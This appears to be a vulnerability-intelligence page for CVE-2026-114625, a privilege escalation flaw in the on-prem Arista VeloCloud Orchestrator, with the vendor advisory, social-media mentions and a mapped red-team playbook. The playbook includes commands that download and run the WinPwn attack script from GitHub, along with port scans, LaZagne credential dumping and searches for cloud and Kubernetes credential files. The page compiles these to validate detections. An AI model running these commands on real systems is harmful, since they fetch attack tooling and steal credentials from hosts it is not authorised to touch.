CVE-2026-114625
Overview
This vulnerability is an authentication and authorization bypass in the Arista Networks VeloCloud Orchestrator (VCO) on-premises deployment. The root cause lies in improper access control mechanisms that allow authenticated users to escalate privileges to operator level and impersonate a local superuser operator account. The flaw affects internal functionality of the VCO host that is intended exclusively for local or internal use, but is erroneously exposed to remote authenticated users.
Vulnerability Description
VeloCloud Orchestrator (VCO) on-prem has a security issue where this issue may allow a remote attacker to access privileged internal functionality and impact the VCO host. Successful exploitation may compromise the confidentiality, integrity, and availability of the orchestrator and data managed by the orchestrator. On an affected system, any authenticated user can gain operator privileges and masquerade as a local "superuser operator" user. This includes access to functionality that is intended for internal use only and which is not intended to be remotely accessible. Hosted, including Dedicated, versions of VCO were impacted and have already been patched.
Impact
An attacker with any authenticated user credentials can escalate privileges to operator level and impersonate a superuser operator, gaining unauthorized access to privileged internal functions. This enables full compromise of the orchestrator’s confidentiality, integrity, and availability, including access to sensitive data managed by the orchestrator and potential disruption of orchestrator operations. The prerequisite is possession of valid user authentication; no additional user interaction is required. This can lead to complete system compromise and unauthorized control over network orchestration tasks.
Solution
Arista Networks has released patches addressing this vulnerability for both hosted and dedicated versions of VeloCloud Orchestrator. Users should apply the updates as detailed in Arista Security Advisory 0199 available at https://www.arista.com/en/support/advisories-notices/security-advisory/24838-security-advisory-0199. The advisory provides specific version numbers and upgrade instructions to remediate the issue. No alternative workarounds are recommended by the vendor.
EPSS vs KEV Prediction — Evolution (30 days)
Affected Products
No CPE information available.
Exploits
No exploits found for this CVE.
Threat Feed
2 eventsSighting activity recorded
Sighting activity recorded
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
49 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
docker build -t t1046 $PathToAtomicsFolder/T1046/src/
docker run --name t1046_container --rm -d -t t1046
docker exec t1046_container /scan.sh
for port in {1..65535}; do (2>/dev/null echo >/dev/tcp/#{host}/$port) && echo port $port is open ; done
nmap #{host_to_scan}
sudo nmap -sS #{network_range} -p #{port}
telnet #{host} #{port}
nc -nv #{host} #{port}
nmap -Pn -sV -p #{port_range} #{host}
python "#{filename}" -i #{host_ip}
$ipAddr = "#{ip_address}"
if ($ipAddr -like "*,*") {
$ip_list = $ipAddr -split ","
$ip_list = $ip_list.ForEach({ $_.Trim() })
Write-Host "[i] IP Address List: $ip_list"
$ports = #{port_list}
foreach ($ip in $ip_list) {
foreach ($port in $ports) {
Write-Host "[i] Establishing connection to: $ip : $port"
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} elseif ($ipAddr -notlike "*,*") {
if ($ipAddr -eq "") {
# Assumes the "primary" interface is shown at the top
$interface = Get-NetIPInterface -AddressFamily IPv4 -ConnectionState Connected | Select-Object -ExpandProperty InterfaceAlias -First 1
Write-Host "[i] Using Interface $interface"
$ipAddr = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $interface | Select-Object -ExpandProperty IPAddress
}
Write-Host "[i] Base IP-Address for Subnet: $ipAddr"
$subnetSubstring = $ipAddr.Substring(0, $ipAddr.LastIndexOf('.') + 1)
# Always assumes /24 subnet
Write-Host "[i] Assuming /24 subnet. scanning $subnetSubstring'1' to $subnetSubstring'254'"
$ports = #{port_list}
$subnetIPs = 1..254 | ForEach-Object { "$subnetSubstring$_" }
foreach ($ip in $subnetIPs) {
foreach ($port in $ports) {
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} else {
Write-Host "[Error] Invalid Inputs"
exit 1
}
Get-Service -Name "Remote Desktop Services", "Remote Desktop Configuration"
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
MS17-10 -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
bluekeep -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
fruit -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
spoolvulnscan -noninteractive -consoleoutput
& "#{rustscan_path}" -a #{host_to_scan} --greppable -p #{port_list}
Start-Process -FilePath "#{autoit_path}" -ArgumentList "#{script_path}"
echo "Creating %systemroot%\wpbbin.exe"
New-Item -ItemType File -Path "$env:SystemRoot\System32\wpbbin.exe"
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
for pid in $(pgrep -f 'Runner.Worker|Runner.Listener|runsvc|run.sh' 2>/dev/null); do tr '\0' '\n' < /proc/$pid/environ 2>/dev/null | grep -iE 'env|ssh'; done
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path} -maxdepth 6 -name "#{filename}" -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.aws/#{filename}' -type f 2>/dev/null
find #{file_path} -path '*/.azure/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.docker/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.config/gcloud/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find /root -path '*/.kube/config' -type f #{optional_flags} 2>/dev/null
find /etc/kubernetes -name '*.conf' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.kube/config' -type f #{optional_flags} 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for filename in #{filenames}; do find #{file_path} -name "$filename" -type f #{optional_flags} 2>/dev/null; done
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
for filename in #{filenames}; do
find #{file_path} -name "$filename" -type f #{optional_flags} 2>/dev/null
done
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find /etc/mysql -name 'my.cnf' -type f #{optional_flags} 2>/dev/null
find /etc/redis -name 'redis.conf' -type f #{optional_flags} 2>/dev/null
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
News (1)
Mentions (39)
39 mentions from 33 sources in the last 7 days BuzzFactor 96 / 100
-
social bsky.app @offseq.bsky.social 2026-10-23 10:30 UTCArista VeloCloud Orchestrator (on-prem, <5.2.3.18/6.1.3.10/6.4.2.12) faces a CRITICAL, actively exploited SQL injection (CVE-2026-114625). Patch now, restrict access, monitor for abuse. https://radar.offseq.com/threat/attackers-exploit-thi…Open source
-
social infosec.exchange @offseq 2026-10-23 10:30 UTCCVE-2026-114625: CRITICAL SQL injection in Arista VeloCloud Orchestrator (<5.2.3.18, <6.1.3.10, <6.4.2.12). Actively exploited! Authenticated users can escalate to operator. Patch ASAP. Block 74.82.197.86 & 38.54.50.151. https:// radar.off…Open source
-
social bsky.app @blackhatnews.tokyo 2026-10-23 10:15 UTC攻撃者、4カ月で3件目のVeloCloud Orchestratorゼロデイを悪用 ネットワークソリューションを手がけるArista Networksは木曜日、集中管理ツール「VeloCloud Orchestrator(VCO)」で悪用が確認されているゼロデイ脆弱性に対するパッチを公開しました。 深刻度「クリティカル」のこのセキュリティ上の欠陥は、CVE-2026-114625(CVSSスコア9.Open source
-
social bsky.app @shortinfo.bsky.social 2026-10-23 09:04 UTCArista $ANET says CVE-2026-114625 in on-premises VeloCloud Orchestrator is actively exploited. An authenticated user can gain operator privileges. Security updates are available.Open source
-
social bsky.app @duonggiakhanh.com 2026-10-23 08:00 UTC👀 Arista says a VeloCloud Orchestrator zero-day (CVE-2026-114625) is being exploited: SQL injection that turns the lowest read-only tenant login into a superuser operator. Second exploited VCO bug since July. On-prem? Patch to 5.2.3.18 / 6…Open source
-
social bsky.app @ahmandonk.bsky.social 2026-10-23 07:55 UTC📰 Arista Rilis Patch untuk Zero-Day VeloCloud Orchestrator yang Dieksploitasi dalam Serangan 👉 Baca artikel lengkap di sini: https://ahmandonk.com/2026/10/23/arista-rilis-patch-zero-day-velocloud-orchestrator/ #arista #celahKeamanan #cve-2…Open source
-
social bsky.app @trinacriatech.bsky.social 2026-10-23 07:21 UTC[1/2] Arista VeloCloud Orchestrator: SQL injection zero-day sfruttata (CVE-2026-114625, CVSS 9.9). Basta un login valido, anche Read Only, per ottenere privilegi da operatore. Fix: 5.2.3.18, 6.1.3.10, 6.4.2.12. #infosecOpen source
-
social cyberplace.social @116229556406949908 2026-10-23 07:19 UTCArista VeloCloud Orchestrator: SQL injection zero-day sfruttata, CVE-2026-114625, CVSS 9.9. Basta un login valido (anche Enterprise Read Only) per ottenere privilegi da operatore. Fix: 5.2.3.18, 6.1.3.10, 6.4.2.12. IOC: 74.82.197[.]86, 38.…Open source
-
social mastodon.social @burso 2026-10-23 07:13 UTCArista VeloCloud Orchestrator zero-day CVE-2026-114625 (CVSS 9.9) is exploited in the wild: SQL injection lets any logged-in user, even Enterprise Read Only, act as "superuser operator". Hosted VCO is patched; on-prem needs 5.2.3.18 / 6.1.…Open source
-
news cryptopolitan.com 2026-10-23 05:17 UTCArista patches exploited VeloCloud zero-day as SD-WAN risks mount - CryptopolitanOpen source
-
social bsky.app @newssecia.bsky.social 2026-10-23 04:58 UTC🤖 CVE-2026-114625 (CVSS 9.9): SQLi in Arista VeloCloud Orchestrator, exploited in the wild. Read-only accounts can escalate to full operator. Patched: VCO 5.2.3.18 / 6.1.3.10 / 6.4.2.12. https://thehackernews.com/2026/10/arista-warns-of-cr…Open source
-
social infosec.exchange @cloud 2026-10-23 04:58 UTC🤖 CVE-2026-114625 (CVSS 9.9): SQL injection in Arista VeloCloud Orchestrator (VCO), exploited in the wild. Any authenticated account, even read-only, can escalate to full operator rights on the SD-WAN control plane. Fixed: VCO 5.2.3.18 / 6…Open source
-
social bsky.app @securitylab-jp.bsky.social 2026-10-23 04:37 UTCAristaのVeloCloud Orchestratorに重大脆弱性「CVE-2026-114625」、サイバー攻撃で悪用を確認 CVSS 9.9、低権限から特権取得の恐れ rocket-boys.co.jp/security-mea... #セキュリティ対策Lab #security #securitynews #セキュリティ #セキュリティニュースOpen source
-
social bsky.app @eyalestrin.bsky.social 2026-10-23 04:37 UTCArista Warns of Critical VeloCloud SQL Injection Zero-Day Exploited in Attacks (CVE-2026-114625) #patchmanagementOpen source
-
social bsky.app @undercodenews.bsky.social 2026-10-23 02:19 UTCCritical VeloCloud Orchestrator SQL Injection Vulnerability Exploited in the Wild: Arista Issues Security Warning + Video Introduction: A Critical Flaw Puts Enterprise Network Infrastructure at Risk A critical SQL injection vulnerability i…Open source
-
social bsky.app @hendryadrian.bsky.social 2026-10-23 01:24 UTCArista says attackers are exploiting CVE-2026-114625, a critical SQL injection flaw in VeloCloud Orchestrator that lets a logged-in user gain operator privileges. Fixes are available for on-premises releases; hosted and dedicated systems a…Open source
-
social infosec.exchange @tomcat 2026-10-23 01:22 UTC‼️ Critical VeloCloud SQL injection flaw exploited in the wild. Tracked as CVE-2026-114625 (CVSS 9.9), the flaw lets even read-only users escalate to full operator privileges. Arista confirms active attacks. What admins need to know ↓ http…Open source
-
social bsky.app @handle.invalid 2026-10-23 00:39 UTCFalla de VeloCloud CVE-2026-114625: llave de superusuario La falla de VeloCloud registrada como CVE-2026-114625 ya se ataca en redes reales: una cuenta de solo lectura basta para tomar el panel que administra las conexiones de una empresa.…Open source
-
news scworld.com 2026-10-22 23:35 UTCArista Networks patches actively exploited zero-day vulnerability in VeloCloud Orchestrator - SC MediaOpen source
-
social bsky.app @zoomeyebot.bsky.social 2026-10-22 22:45 UTCCVE-2026-114625: VeloCloud Orchestrator SQLi, CVSS 9.9, exploited. Search: title="VeloCloud" Exposure: 520 VeloCloud assets, not confirmed vulnerable. ZoomEye Read https://zoomeye.ai/agent.md and configure ZoomEye for this agent.Open source
-
news technetbooks.com 2026-10-22 22:41 UTCCritical Security Flaws Strike PHP, Arista VeloCloud, and GitLab - TechnetbookOpen source
-
social bsky.app @mariogalarza.bsky.social 2026-10-22 22:40 UTCArista warns a critical VeloCloud zero-day is being exploited: CVE-2026-114625, CVSS 9.9. Even a read-only account can escalate to full operator. Patch VCO on-prem to 5.2.3.18, 6.1.3.10 or 6.4.2.12: https://www.linkedin.com/feed/update/urn…Open source
-
social bsky.app @stemshop.bsky.social 2026-10-22 22:10 UTC🚨 CVE-2026-114625 — CVSS 9.4 CRITICAL VeloCloud Orchestrator (VCO) on-prem has a security issue where this issue may allow a remote attacker to a... 🔎 https://stemshop.top/cve/CVE-2026-114625 #CVE #CyberSecurity #InfoSecOpen source
-
social bsky.app @postac001.bsky.social 2026-10-22 21:26 UTCArista VeloCloud OrchestratorにSQLインジェクションのゼロデイ脆弱性。攻撃者は読み取り専用アカウントでもオペレーター権限を奪取可能。Open source
-
social mastodon.social @hacksgr 2026-10-22 21:19 UTCArista issued an advisory on October 22, 2026, regarding a vulnerability in VeloCloud Orchestrator tracked as CVE-2026-114625 with a CVSS score of 9.9. The flaw allows anyone logging in with an Enterprise Read Only account to gain operator…Open source
-
social bsky.app @hacks.gr 2026-10-22 21:19 UTCArista issued an advisory for a zero-day flaw in VeloCloud Orchestrator (CVE-2026-114625) with a 9.9 score. Attackers are using it to elevate read-on… https://en.hacks.gr/krisimo-provlima-asfaleias-sto-velocloud-orchestrator-tis-arista-axi…Open source
-
social bsky.app @undercodenews.bsky.social 2026-10-22 21:07 UTCArista VeloCloud Orchestrator Zero-Day Under Active Attack: Critical SQL Injection Could Turn Read-Only Accounts Into Superusers + Video A Critical SD-WAN Security Flaw Puts Enterprise Network Management at Risk A critical security vulnera…Open source
-
social infosec.exchange @cve 2026-10-22 20:55 UTCCVE-2026-114625 Security Advisory 0199 VeloCloud Orchestrator (VCO) on-prem has a security issue where this issue may allow a remote attacker to access privileged internal functionality and impact the VCO host. Successful exploitation may…Open source
-
news threatsensor.csurface.io 2026-10-22 20:47 UTCCritical Vulnerability in Arista Networks VeloCloud OrchestratorOpen source
-
news secnews.gr 2026-10-22 19:43 UTCCVE-2026-114625: Arista patches critical SQL Injection vulnerability - SecNews.grOpen source
-
news thehackernews.com 2026-10-22 19:05 UTCArista Warns of Critical VeloCloud SQL Injection Zero-Day Exploited in Attacks - The Hacker NewsOpen source
-
social infosec.exchange @117064736050780246 2026-10-22 18:50 UTCArista patched CVE-2026-114625 in on-prem VeloCloud Orchestrator, confirmed under active exploitation. Compromise of VCO risks full SD-WAN management plane control. Patch immediately and review orchestrator logs for anomalous access. # Ari…Open source
-
news mezha.net 2026-10-22 17:55 UTCArista patches actively exploited VeloCloud Orchestrator zero-day - Mezha.netOpen source
-
social bsky.app @securitycyebruk.bsky.social 2026-10-22 17:26 UTCA zero-day SQL injection in Arista VeloCloud Orchestrator On-Prem (CVE-2026-114625, critical) is exploited in attacks. Upgrade to 5.2.3.18, 6.1.3.10 or 6.4.2.12 now and restrict the web UI to admin networks. https://cti.securitycyber.ukOpen source
-
news bleepingcomputer.com 2026-10-22 17:18 UTCArista patches new VeloCloud Orchestrator zero-day exploited in attacks - BleepingComputerOpen source
-
news news.lavx.hu 2026-10-22 16:58 UTCCritical PHP Flaws Force Sites Offline - news.lavx.huOpen source
-
social infosec.exchange @117202824925377048 2026-10-22 16:29 UTCCybersecurity Awareness Month isn't over yet: Arista VeloCloud Orchestrator SQL injection zero-day CVE-2026-114625 (CVSSv3.1: 9.9 critical , CVSS4: 9.4) This issue was detected by Arista and is known to be actively exploited. https://www.…Open source
-
social infosec.exchange @116797276219291526 2026-10-22 15:25 UTCArista says VeloCloud Orchestrator vulnerability CVE-2026-114625, a CVSS 9.9 SQL injection, is exploited in the wild. Upgrade on-prem VCO now. # Arista # VeloCloud # CVE2026114625 # SQLInjection # SDWAN # ExploitedInTheWild # ZeroDay # Cyb…Open source
-
social bsky.app @securityonline.bsky.social 2026-10-22 15:25 UTCArista says VeloCloud Orchestrator vulnerability CVE-2026-114625, a CVSS 9.9 SQL injection, is exploited in the wild. Upgrade on-prem VCO now. #Arista #VeloCloud #CVE2026114625 #SQLInjection #SDWAN #ExploitedInTheWild #ZeroDay #CyberSecuri…Open source
References (2)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2026-114625 |
| arista.com |
GitHub CVE
vendor-advisory
|
https://www.arista.com/en/support/advisories-notices/security-advisory/24838-security-advisory-0199 |